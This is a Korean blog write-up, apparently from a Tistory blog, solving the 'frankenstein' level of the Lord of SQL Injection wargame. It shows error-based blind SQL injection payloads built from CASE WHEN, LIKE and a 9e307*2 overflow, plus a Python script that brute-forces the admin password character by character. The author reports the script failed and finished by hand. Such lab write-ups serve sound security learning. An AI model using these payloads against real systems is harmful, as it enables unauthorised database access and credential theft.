ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> frankenstein
    Wargame/Lord of SQL Injection 2021. 12. 1. 11:55

    frankenstein

    GET 방식으로 전달받은 pw에서 prob, _, ., (, ), union을 필터링한다.

    에러메시지를 출력하는 걸로 보아 Error Based SQL Injection 기법을 수행할 수 있다.

     

    첫 번째 쿼리에서는 id가 frankenstein이고 두 번째 쿼리의 id는 admin이다.

    따라서, id='admin'을 넣어 줘야 한다.

     

    괄호를 필터링하기 때문에 앞에서 풀었던 것 처럼 if 문을 사용할 수 없다.

    따라서 case when 조건 then 결과1 else 결과2 end 문을 사용할 수 있다.

     

    substr()이나 length()도 사용할 수 없기 때문에 like와 %를 사용할 수 있다.

     

    조건이 성립할 경우를 구분하기 위해 에러를 출력하게 한다.

    MySQL에서 처리할 수 있는 최대의 수가 9e307이다. 9e308을 입력하면 구문 자체가 error가 생기므로

    9e307*2로 적어준다.

     

    ?pw=' or case when id='admin' and pw like '{문자}%' then 9e307*2 else 0 end%23을 통해 찾을 수 있다.

    ?pw=' or case when id='admin' and pw like '0%' then 9e307*2 else 0 end%23을 입력하면

    "error"를 출력하고

    ?pw=' or case when id='admin' and pw like '1%' then 9e307*2 else 0 end%23을 입력하면

    PHP 구문이 출력된다.

    이를 통해 admin의 pw는 '0'으로 시작하는 문자열이라는 것을 알 수 있다.

     

    이를 이용해 파이썬 코드를 이용해 찾아보면

    import requests
    
    baseurl = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"
    cookies = {"PHPSESSID" : "PHPSESSID"}
    pw = ""
    
    filter = [35, 37, 38, 39, 40, 41, 46, 95]
    
    for i in range(1, 50):
        for j in range(33, 127):
            if j in filter:
                continue
            url = baseurl + "?pw=' or case when id='admin' and pw like '{}%' then 9e307*2 else 0 end%23".format(pw+chr(j))
            res = requests.get(url=url, cookies=cookies)
    
            if "login_chk" in res.text:
                continue
            else:
                pw += chr(j)
                print("{} : {}".format(i, chr(j)))
                break
    print("pw : ", pw)

    위 파이썬 코드로 동작시켜 보니 웹 상에서는 error가 출력되지 않지만 파이썬에서는 error가 출력되어 제대로 된 값을 구하지 못했다. 뭐가 문제인지 모르겠어서 우선 하나하나 직접 구했다.

Designed by Tistory.